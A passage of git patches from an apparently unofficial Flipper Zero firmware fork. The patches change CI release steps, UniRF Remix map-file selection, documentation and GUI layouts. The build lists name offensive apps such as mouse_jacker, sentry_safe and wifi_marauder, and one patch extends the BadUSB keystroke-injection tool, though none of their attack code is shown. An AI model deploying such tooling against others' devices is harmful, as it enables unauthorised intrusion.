telegram' - image: appleboy/drone-telegram - settings: - token: - from_secret: tgtoken - to: - from_secret: tgid - format: markdown - message: "New Unleashed firmware released! + - name: "Send files to telegram" + image: appleboy/drone-telegram + settings: + token: + from_secret: tgtoken + to: + from_secret: tgid + format: markdown + message: "New Unleashed firmware released! - Version: {{build.tag}} + Version: {{build.tag}} - [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})" - document: - - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip - - artifacts-default/sd-card-${DRONE_TAG}.zip + [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})" + document: + - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu + - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip + - artifacts-default/sd-card-${DRONE_TAG}.zip -- name: 'Send discord notification' - image: appleboy/drone-discord - settings: - webhook_id: - from_secret: ds_wh_id - webhook_token: - from_secret: ds_wh_token - message: "New Unleashed firmware released! + - name: "Send discord notification" + image: appleboy/drone-discord + settings: + webhook_id: + from_secret: ds_wh_id + webhook_token: + from_secret: ds_wh_token + message: "New Unleashed firmware released! - Version: {{build.tag}} + Version: {{build.tag}} - [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" - + [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" + trigger: event: - - tag + - tag node: - typ: haupt \ No newline at end of file + typ: haupt diff --git a/CHANGELOG.md b/CHANGELOG.md index cc43999cc..ccbe87eb5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * Added pack of community apps with some fixes/changes - [(Full list)](https://github.com/Eng1n33r/flipperzero-firmware#apps-included) * BadUSB extra keyboard layouts [(By v1nc)](https://github.com/v1nc/flipperzero-firmware) - [How to use](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) +* UniRF app update - now its possible to select any `.txt` map file, instructions updated * Added ability to extend subghz frequency range * Updated docs and readme diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 657adb810..77eb64261 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -1,6 +1,7 @@ #include #include #include +#include #include #include @@ -14,6 +15,9 @@ #define TAG "UniRF Remix" +#define UNIRF_APP_PATH_FOLDER "/ext/unirf" +#define UNIRF_APP_PATH_EXTENSION ".txt" + typedef struct { FuriMutex* model_mutex; @@ -148,13 +152,9 @@ static char* extract_filename(const char* name, int len) { */ void unirfremix_cfg_set_check(UniRFRemix* app) { - //set file name to universal_rf_map.txt first - string_t file_name; - string_init(file_name); - string_set(file_name, "/any/subghz/assets/universal_rf_map.txt"); - Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + storage_common_mkdir(storage, UNIRF_APP_PATH_FOLDER); app->file_result = 3; app->file_blank = 0; @@ -166,14 +166,25 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->ok_enabled = 1; int label_len = 12; - int legacy = 0; + + DialogsApp* dialogs = furi_record_open("dialogs"); + bool select_result = false; + string_t file_name; + string_init(file_name); + string_set_str(file_name, UNIRF_APP_PATH_FOLDER); + bool ret = dialog_file_browser_show( + dialogs, file_name, file_name, UNIRF_APP_PATH_EXTENSION, true, &I_sub1_10px, false); + + furi_record_close("dialogs"); + if(ret) { + select_result = true; + } //check that map file exists - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)) && + !select_result) { FURI_LOG_I(TAG, "Could not open MAP file %s", string_get_cstr(file_name)); - legacy = 1; } else { - legacy = 0; //Filename Assignment/Check Start //assign variables to values within map file @@ -354,199 +365,6 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { flipper_format_free(fff_data_file); furi_record_close("storage"); - if(legacy == 1) { - //check if legacy map exists (universal_rf_map) - string_set(file_name, "/any/subghz/assets/universal_rf_map"); - - storage = furi_record_open("storage"); - fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { - FURI_LOG_I(TAG, "Could not open legacy MAP file %s", string_get_cstr(file_name)); - app->file_result = 1; - } else { - //Filename Assignment/Check Start - - //assign variables to values within map file - //set missing filenames to N/A - if(!flipper_format_read_string(fff_data_file, "UP", app->up_file)) { - FURI_LOG_I(TAG, "Could not read UP string"); - - //increment file_blank for processing later - app->file_blank++; - - //set label to "N/A" - app->up_label = "N/A"; - - //disable the ability to process the signal on button press - app->up_enabled = 0; - - FURI_LOG_I(TAG, "Up_Enabled: %d", app->up_enabled); - } else { - //check name length for proper screen fit - //then set filename as label. Might be replaced with defined label later on below. - app->up_label = extract_filename(string_get_cstr(app->up_file), label_len); - - FURI_LOG_I(TAG, "UP file: %s", string_get_cstr(app->up_file)); - } - - //Repeat process for Down - if(!flipper_format_read_string(fff_data_file, "DOWN", app->down_file)) { - FURI_LOG_I(TAG, "Could not read DOWN string"); - - app->file_blank++; - app->down_label = "N/A"; - app->down_enabled = 0; - - FURI_LOG_I(TAG, "Down_Enabled: %d", app->down_enabled); - } else { - app->down_label = extract_filename(string_get_cstr(app->down_file), label_len); - - FURI_LOG_I(TAG, "DOWN file: %s", string_get_cstr(app->down_file)); - } - - //Repeat process for Left - if(!flipper_format_read_string(fff_data_file, "LEFT", app->left_file)) { - FURI_LOG_I(TAG, "Could not read LEFT string"); - - app->file_blank++; - app->left_label = "N/A"; - app->left_enabled = 0; - - FURI_LOG_I(TAG, "Left_Enabled: %d", app->left_enabled); - } else { - app->left_label = extract_filename(string_get_cstr(app->left_file), label_len); - - FURI_LOG_I(TAG, "LEFT file: %s", string_get_cstr(app->left_file)); - } - - //Repeat process for Right - if(!flipper_format_read_string(fff_data_file, "RIGHT", app->right_file)) { - FURI_LOG_I(TAG, "Could not read RIGHT string"); - - app->file_blank++; - app->right_label = "N/A"; - app->right_enabled = 0; - - FURI_LOG_I(TAG, "Right_Enabled: %d", app->right_enabled); - } else { - app->right_label = extract_filename(string_get_cstr(app->right_file), label_len); - - FURI_LOG_I(TAG, "RIGHT file: %s", string_get_cstr(app->right_file)); - } - - //Repeat process for Ok - if(!flipper_format_read_string(fff_data_file, "OK", app->ok_file)) { - FURI_LOG_I(TAG, "Could not read OK string"); - - app->file_blank++; - app->ok_label = "N/A"; - app->ok_enabled = 0; - - FURI_LOG_I(TAG, "Ok_Enabled: %d", app->ok_enabled); - } else { - app->ok_label = extract_filename(string_get_cstr(app->ok_file), label_len); - - FURI_LOG_I(TAG, "OK file: %s", string_get_cstr(app->ok_file)); - } - - //File definitions are done. - //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. - - //Label Assignment/Check Start - - //assign variables to values within map file - if(!flipper_format_read_string(fff_data_file, "ULABEL", app->up_l)) { - FURI_LOG_I(TAG, "Could not read ULABEL string"); - - //if Up button is disabled, set the label to "N/A"; - if(app->up_enabled == 0) { - app->up_label = "N/A"; - } - } else { - //check if button is disabled, and set label to "N/A" from missing map definition above - if(app->up_enabled == 0) { - app->up_label = "N/A"; - } else { - //set label from map to variable and shrink to fit screen - app->up_label = char_to_str((char*)string_get_cstr(app->up_l), label_len); - } - - FURI_LOG_I(TAG, "UP label: %s", app->up_label); - } - - if(!flipper_format_read_string(fff_data_file, "DLABEL", app->down_l)) { - FURI_LOG_I(TAG, "Could not read DLABEL string"); - - if(app->down_enabled == 0) { - app->down_label = "N/A"; - } - } else { - if(app->down_enabled == 0) { - app->down_label = "N/A"; - } else { - app->down_label = char_to_str((char*)string_get_cstr(app->down_l), label_len); - } - - FURI_LOG_I(TAG, "DOWN label: %s", app->down_label); - } - - if(!flipper_format_read_string(fff_data_file, "LLABEL", app->left_l)) { - FURI_LOG_I(TAG, "Could not read LLABEL string"); - - if(app->left_enabled == 0) { - app->left_label = "N/A"; - } - } else { - if(app->left_enabled == 0) { - app->left_label = "N/A"; - } else { - app->left_label = char_to_str((char*)string_get_cstr(app->left_l), label_len); - } - - FURI_LOG_I(TAG, "LEFT label: %s", app->left_label); - } - - if(!flipper_format_read_string(fff_data_file, "RLABEL", app->right_l)) { - FURI_LOG_I(TAG, "Could not read RLABEL string"); - - if(app->right_enabled == 0) { - app->right_label = "N/A"; - } - } else { - if(app->right_enabled == 0) { - app->right_label = "N/A"; - } else { - app->right_label = - char_to_str((char*)string_get_cstr(app->right_l), label_len); - } - - FURI_LOG_I(TAG, "RIGHT label: %s", app->right_label); - } - - if(!flipper_format_read_string(fff_data_file, "OKLABEL", app->ok_l)) { - FURI_LOG_I(TAG, "Could not read OKLABEL string"); - - if(app->ok_enabled == 0) { - app->ok_label = "N/A"; - } - } else { - if(app->ok_enabled == 0) { - app->ok_label = "N/A"; - } else { - app->ok_label = char_to_str((char*)string_get_cstr(app->ok_l), label_len); - } - - FURI_LOG_I(TAG, "OK label: %s", app->ok_label); - } - - app->file_result = 4; - } - - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - //File Existence Check //Check each file definition if not already set to "N/A" @@ -658,6 +476,8 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->file_result = 4; } } + + string_clear(file_name); } static void unirfremix_end_send(UniRFRemix* app) { @@ -779,19 +599,19 @@ static void render_callback(Canvas* canvas, void* ctx) { //If map is missing canvas_clear(canvas); canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config file missing."); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Map file is missing!"); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please configure"); - canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "universal_rf_map"); + canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please create"); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "map file."); canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); } else if(app->file_result == 2) { //if map has no valid filenames defined canvas_clear(canvas); canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is incorrect."); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Invalid map file!"); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please configure"); - canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "universal_rf_map"); + canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please reconfigure"); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "your map file."); canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); } else if(app->file_result == 3) { //if map has no valid filenames defined diff --git a/assets/resources/Manifest b/assets/resources/Manifest index db1c8020f..f29df45be 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659108089 +T:1659115697 D:badusb D:dolphin D:infrared @@ -7,6 +7,7 @@ D:music_player D:nfc D:subghz D:u2f +D:unirf F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/demo_macos.txt F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/demo_windows.txt D:dolphin/L1_Boxing_128x64 @@ -237,7 +238,7 @@ F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s F:b6ecaec5fcf45411622d4309c5769009:1590:subghz/assets/setting_user -F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der F:f60b88c20ed479ed9684e249f7134618:264:u2f/assets/cert_key.u2f +F:05d7b8afac3c050c6d3dcefcf921f010:221:unirf/unirf_map_example.txt diff --git a/assets/resources/subghz/assets/universal_rf_map b/assets/resources/unirf/unirf_map_example.txt similarity index 76% rename from assets/resources/subghz/assets/universal_rf_map rename to assets/resources/unirf/unirf_map_example.txt index 25c8e2aca..30f91b8aa 100644 --- a/assets/resources/subghz/assets/universal_rf_map +++ b/assets/resources/unirf/unirf_map_example.txt @@ -1,5 +1,3 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 UP: /ext/subghz/Up.sub DOWN: /ext/subghz/Down.sub LEFT: /ext/subghz/Left.sub diff --git a/documentation/UniRFRemix.md b/documentation/UniRFRemix.md index 975bf149e..82885be56 100644 --- a/documentation/UniRFRemix.md +++ b/documentation/UniRFRemix.md @@ -1,32 +1,31 @@ # UniRF Remix -### The UniRF Tool *requires* the following manual changes be made to the `universal_rf_map` file in the `subghz/assets` folder located on the sdcard. +### The UniRF Tool *requires* the creation of custom user map with `.txt` extension in the `unirf` folder on the sdcard. -#### If these custom changes are not made, **you will receive an error each time you try to run the UniRF Tool**. +#### If these files are not exist or not configured properly, **you will receive an error each time you try to select wrong file in the UniRF Tool**. + +## You can add as many `.txt` map files as you want, file name doesn't matter! + +### App currenty works only with RAW subghz files ## Incorrect or unconfigured file error -If the `universal_rf_map` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app: +If the `.txt` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app: ``` -Config is incorrect. +Invalid map file! -Please configure -universal_rf_map +Please reconfigure +your map file. Hold Back to Exit ``` -### **Update: Now you can create file with `.txt` extension `subghz/assets/universal_rf_map.txt`** -#### **So it can be edited without PC, app looks for this file first, if no `universal_rf_map.txt` file found, standard file will be used** - -## Setting up the `subghz/assets/universal_rf_map` file: +## Setting up the `unirf/example.txt` file: ``` -Filetype: Flipper SubGhz RAW File -Version: 1 UP: /ext/subghz/Up.sub DOWN: /ext/subghz/Down.sub LEFT: /ext/subghz/Left.sub @@ -46,8 +45,6 @@ The ULABEL/DLABEL/LLABEL/RLABEL/OKLABEL variables should be set to the text to b ## Example: ``` -Filetype: Flipper SubGhz RAW File -Version: 1 UP: /ext/subghz/Fan1.sub DOWN: /ext/subghz/Fan2.sub LEFT: /ext/subghz/Door.sub @@ -69,9 +66,6 @@ OKLABEL: Garage CLOSE - No skip function. * ##### Universal RF Map - - Backwards compatible with [jimilinuxguy Universal RF Remote](https://github.com/jimilinuxguy/flipperzero-universal-rf-remote) map file. You should be able to use the map file as is with both versions. - - Recommend that you update the map file (if you using "jimilinuxguy's Universal RF" file) to the version included in this repo. - - You can also create file with `.txt` extension `subghz/assets/universal_rf_map.txt` and this file will be used instead of default file - File path should not have any spaces or special characters (- and _ excluded). - Labels are limited to 12 characters. - Why? This is to prevent overlapping elements on screen. From 8fb6d6c7326b5d7fc78991081cecf6f85980ad11 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 30 Jul 2022 05:35:56 +0300 Subject: [PATCH 418/461] some changes to fbt stuff --- applications/meta/application.fam | 22 +++++++++++++++------- applications/unirfremix/application.fam | 5 ++++- fbt_options.py | 19 +++++++++++++++++++ 3 files changed, 38 insertions(+), 8 deletions(-) diff --git a/applications/meta/application.fam b/applications/meta/application.fam index a593ef44a..14f106287 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -36,13 +36,6 @@ App( provides=[ "music_player", "bt_hid", - "picopass", - "hid_analyzer", - "barcode_generator", - "mouse_jacker", - "nrf_sniff", - "sentry_safe", - "wifi_marauder", ], ) @@ -67,4 +60,19 @@ App( "spectrum_analyzer", "unirfremix", ], +) + +App( + appid="custom_plugins", + name="Custom applications for plug-in menu", + apptype=FlipperAppType.METAPACKAGE, + provides=[ + "picopass", + "hid_analyzer", + "barcode_generator", + "mouse_jacker", + "nrf_sniff", + "sentry_safe", + "wifi_marauder", + ], ) \ No newline at end of file diff --git a/applications/unirfremix/application.fam b/applications/unirfremix/application.fam index 666e07d49..d8eaaab89 100644 --- a/applications/unirfremix/application.fam +++ b/applications/unirfremix/application.fam @@ -4,7 +4,10 @@ App( apptype=FlipperAppType.APP, entry_point="unirfremix_app", cdefines=["APP_UNIRFREMIX"], - requires=["gui"], + requires=[ + "gui", + "dialogs", + ], icon="A_UniRFRemix_14", stack_size=2 * 1024, order=11, diff --git a/fbt_options.py b/fbt_options.py index fc1c2966e..6f1cafb28 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -77,6 +77,7 @@ FIRMWARE_APPS = { "about", # Plugins "basic_plugins", + "custom_plugins", # Custom Games "custom_games", # Debug @@ -86,6 +87,24 @@ FIRMWARE_APPS = { "basic_services", "unit_tests", ], + "no_custom_apps": [ + "crypto_start", + # Svc + "basic_services", + # Apps + "basic_apps", + "updater_app", + "storage_move_to_sd", + "archive", + # Settings + "passport", + "system_settings", + "about", + # Plugins + "basic_plugins", + # Debug + "debug_apps", + ], } FIRMWARE_APP_SET = "default" From c164146cee1b3c959bdb109c8ced0fba4181024c Mon Sep 17 00:00:00 2001 From: TQMatvey <77576395+TQMatvey@users.noreply.github.com> Date: Mon, 1 Aug 2022 08:44:05 +0700 Subject: [PATCH 419/461] PicoPass: Fix Card Detection Visuals fix text saying Picopas- s and move text a bit higher --- applications/picopass/scenes/picopass_scene_read_card.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/picopass/scenes/picopass_scene_read_card.c b/applications/picopass/scenes/picopass_scene_read_card.c index add05e479..0867898a5 100644 --- a/applications/picopass/scenes/picopass_scene_read_card.c +++ b/applications/picopass/scenes/picopass_scene_read_card.c @@ -13,7 +13,7 @@ void picopass_scene_read_card_on_enter(void* context) { // Setup view Popup* popup = picopass->popup; - popup_set_header(popup, "Detecting\npicopass card", 70, 34, AlignLeft, AlignTop); + popup_set_header(popup, "Detecting\npicopass\ncard", 68, 30, AlignLeft, AlignTop); popup_set_icon(popup, 0, 3, &I_RFIDDolphinReceive_97x61); // Start worker From 1bb778e717177e1794ee3074033026c9e339ca86 Mon Sep 17 00:00:00 2001 From: TQMatvey Date: Mon, 1 Aug 2022 09:23:20 +0700 Subject: [PATCH 420/461] Snake & Tetris: Fix Score Counter position --- applications/snake_game/snake_game.c | 2 +- applications/tetris_game/tetris_game.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index 18701dd3c..9ad18c632 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -90,7 +90,7 @@ static void snake_game_render_callback(Canvas* const canvas, void* ctx) { if(snake_state->state != GameStateGameOver) { char buffer2[6]; snprintf(buffer2, sizeof(buffer2), "%u", snake_state->len - 7); - canvas_draw_str_aligned(canvas, 126, 8, AlignRight, AlignBottom, buffer2); + canvas_draw_str_aligned(canvas, 124, 10, AlignRight, AlignBottom, buffer2); } // Game Over banner if(snake_state->state == GameStateGameOver) { diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 8c9e319b2..cca568aa8 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -136,7 +136,7 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { if(tetris_state->gameState == GameStatePlaying) { char buffer2[6]; snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); - canvas_draw_str_aligned(canvas, 61, 8, AlignRight, AlignBottom, buffer2); + canvas_draw_str_aligned(canvas, 58,10, AlignRight, AlignBottom, buffer2); } if(tetris_state->gameState == GameStateGameOver) { From a15954910e95c762d09641623eb957333da2ade2 Mon Sep 17 00:00:00 2001 From: TQMatvey Date: Mon, 1 Aug 2022 14:52:28 +0700 Subject: [PATCH 421/461] SubGhz: Fix Sd: being inside the Send button --- lib/subghz/protocols/faac_slh.c | 2 +- lib/subghz/protocols/keeloq.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index eef574303..87b262caf 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -492,7 +492,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%05X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX Sd:%08lX", + "Sn:%07lX\nSd:%08lX", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 337f48b43..69341d070 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -940,7 +940,7 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { "Key:%08lX%08lX\r\n" "Fix:0x%08lX Cnt:%04X\r\n" "Hop:0x%08lX Btn:%01lX\r\n" - "MF:%s Sd:0x%08lX\r\n", + "MF:%s\nSd:0x%08lX\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, code_found_hi, From a74262cef2ad1e490388793734d266a0e685aa5e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 1 Aug 2022 23:20:04 +0300 Subject: [PATCH 422/461] update unirf / other fixes --- .drone.yml | 17 ++ CHANGELOG.md | 19 +- applications/bad_usb/bad_usb_script.c | 2 + applications/music_player/music_player.c | 2 +- applications/subghz/views/transmitter.c | 6 +- applications/unirfremix/unirfremix_app.c | 163 ++++++------ .../UniRFRemix/UniRFRemix_Center-14x14.png | Bin 166 -> 0 bytes .../UniRFRemix/UniRFRemix_Down-14x14.png | Bin 168 -> 0 bytes .../UniRFRemix/UniRFRemix_Left-14x14.png | Bin 171 -> 0 bytes .../UniRFRemix_LeftAlignedButtons_9x64.png | Bin 2159 -> 0 bytes .../UniRFRemix/UniRFRemix_Outline-14x14.png | Bin 170 -> 0 bytes .../UniRFRemix/UniRFRemix_Repeat_12x14.png | Bin 1634 -> 0 bytes .../UniRFRemix/UniRFRemix_Right-14x14.png | Bin 169 -> 0 bytes .../icons/UniRFRemix/UniRFRemix_Up-14x14.png | Bin 165 -> 0 bytes .../furi_hal_include/furi_hal_usb_hid.h | 236 +++++++++++++++++- lib/subghz/protocols/faac_slh.c | 2 +- lib/subghz/protocols/keeloq.c | 2 +- 17 files changed, 351 insertions(+), 98 deletions(-) delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Repeat_12x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Right-14x14.png delete mode 100644 assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png diff --git a/.drone.yml b/.drone.yml index 2904d35b1..e915bf91b 100644 --- a/.drone.yml +++ b/.drone.yml @@ -22,6 +22,8 @@ steps: - mv dist/f7-C/* artifacts-default/ - ls -laS artifacts-default - ls -laS artifacts-default/f7-update-${DRONE_TAG} + - sed -i 's/(version)/'${DRONE_TAG}'/g' CHANGELOG.md + - echo '# [Install via Web Updater](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=dev-cfw&version='${DRONE_TAG})'' >> CHANGELOG.md environment: FBT_TOOLS_CUSTOM_LINK: from_secret: fbt_link @@ -53,6 +55,21 @@ steps: - rm -rf artifacts-default/f7-update-${DRONE_TAG} - ls -laS artifacts-default + - name: "Upload to updates server" + image: appleboy/drone-scp + settings: + host: + from_secret: dep_host + username: + from_secret: dep_user + password: + from_secret: dep_passwd + port: + from_secret: dep_port + target: + from_secret: dep_target + source: artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz + - name: "Do Github release" image: ddplugins/github-release pull: never diff --git a/CHANGELOG.md b/CHANGELOG.md index ccbe87eb5..6ebb7d117 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,18 +1,17 @@ ### New changes -* Added pack of community apps with some fixes/changes - [(Full list)](https://github.com/Eng1n33r/flipperzero-firmware#apps-included) -* BadUSB extra keyboard layouts [(By v1nc)](https://github.com/v1nc/flipperzero-firmware) - [How to use](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) -* UniRF app update - now its possible to select any `.txt` map file, instructions updated -* Added ability to extend subghz frequency range -* Updated docs and readme +* UniRF app update - re-done [(by ESurge)](https://github.com/ESurge/flipperzero-firmware-unirfremix/tree/minimal-fbt) and some changes by MX/Nano +* BadUSB Hungarian (HU) keyboard layout [(By ut1s)](https://github.com/ut1s) - PR #36 +* SubGHz GUI text fixes +* Music player plugin - removed second pointer +* Snake, Tetris, PicoPass plugin gui fixes - [(By TQMatvey)](https://github.com/TQMatvey) - PR #37/#38 +* OFW: SubGHz: checking saved key files for length -- [!!!] Replace your subghz/assets/setting_user with file from `sd-card-(version).zip` because file format has been changed - -**Note: We changed version names, because our releases not based on official releases, now versions is called -cg1-(commit-sha) - where "cg" = "Code Grabber", 1 = number of build(if ofw commit doesnt change), and (commit sha) - means ofw dev commit on which our version is based** +**Note: Prefer installing using web updater or by self update package** Self-update package (update from microSD) - `flipper-z-f7-update-(version).zip` DFU for update using qFlipper - `flipper-z-f7-full-(version).dfu` If using DFU update method, download this archive and unpack it to your microSD, replacing all files except files you have edited manually - -`sd-card-(version).zip` \ No newline at end of file +`sd-card-(version).zip` + diff --git a/applications/bad_usb/bad_usb_script.c b/applications/bad_usb/bad_usb_script.c index 8a35650fa..84661296a 100644 --- a/applications/bad_usb/bad_usb_script.c +++ b/applications/bad_usb/bad_usb_script.c @@ -321,6 +321,8 @@ static uint16_t ducky_get_layout(const char* line) { layout = 1; } else if(strcmp(line, "FR") == 0) { layout = 2; + } else if(strcmp(line, "HU") == 0) { + layout = 3; } FURI_LOG_D(WORKER_TAG, "keyboard layout set: %hu", layout); return layout; diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 3c6d4207f..b788361af 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -30,7 +30,7 @@ typedef struct { typedef struct { MusicPlayerModel* model; - FuriMutex** model_mutex; + FuriMutex* model_mutex; FuriMessageQueue* input_queue; diff --git a/applications/subghz/views/transmitter.c b/applications/subghz/views/transmitter.c index 3cbcf098a..be9c0fe09 100644 --- a/applications/subghz/views/transmitter.c +++ b/applications/subghz/views/transmitter.c @@ -79,9 +79,9 @@ void subghz_view_transmitter_draw(Canvas* canvas, SubGhzViewTransmitterModel* mo canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); canvas_set_font(canvas, FontSecondary); - elements_multiline_text(canvas, 0, 8, string_get_cstr(model->key_str)); - canvas_draw_str(canvas, 78, 8, string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 113, 8, string_get_cstr(model->preset_str)); + elements_multiline_text(canvas, 0, 7, string_get_cstr(model->key_str)); + canvas_draw_str(canvas, 78, 7, string_get_cstr(model->frequency_str)); + canvas_draw_str(canvas, 113, 7, string_get_cstr(model->preset_str)); if(model->show_button) subghz_view_transmitter_button_right(canvas, "Send"); } diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 77eb64261..23d3786c8 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -1,22 +1,21 @@ #include + #include #include #include -#include - -#include +#include #include -#include -#include -#include - #include -#define TAG "UniRF Remix" +#include +#include +#include -#define UNIRF_APP_PATH_FOLDER "/ext/unirf" -#define UNIRF_APP_PATH_EXTENSION ".txt" +#define UNIRFMAP_FOLDER "/ext/unirf" +#define UNIRFMAP_EXTENSION ".txt" + +#define TAG "UniRF Remix" typedef struct { FuriMutex* model_mutex; @@ -39,6 +38,8 @@ typedef struct { string_t down_l; string_t ok_l; + string_t file_path; + char* up_label; char* down_label; char* left_label; @@ -151,10 +152,9 @@ static char* extract_filename(const char* name, int len) { *set error flag if missing map file */ -void unirfremix_cfg_set_check(UniRFRemix* app) { +void unirfremix_cfg_set_check(UniRFRemix* app, string_t file_name) { Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - storage_common_mkdir(storage, UNIRF_APP_PATH_FOLDER); app->file_result = 3; app->file_blank = 0; @@ -167,22 +167,8 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { int label_len = 12; - DialogsApp* dialogs = furi_record_open("dialogs"); - bool select_result = false; - string_t file_name; - string_init(file_name); - string_set_str(file_name, UNIRF_APP_PATH_FOLDER); - bool ret = dialog_file_browser_show( - dialogs, file_name, file_name, UNIRF_APP_PATH_EXTENSION, true, &I_sub1_10px, false); - - furi_record_close("dialogs"); - if(ret) { - select_result = true; - } - //check that map file exists - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)) && - !select_result) { + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { FURI_LOG_I(TAG, "Could not open MAP file %s", string_get_cstr(file_name)); } else { //Filename Assignment/Check Start @@ -359,7 +345,7 @@ void 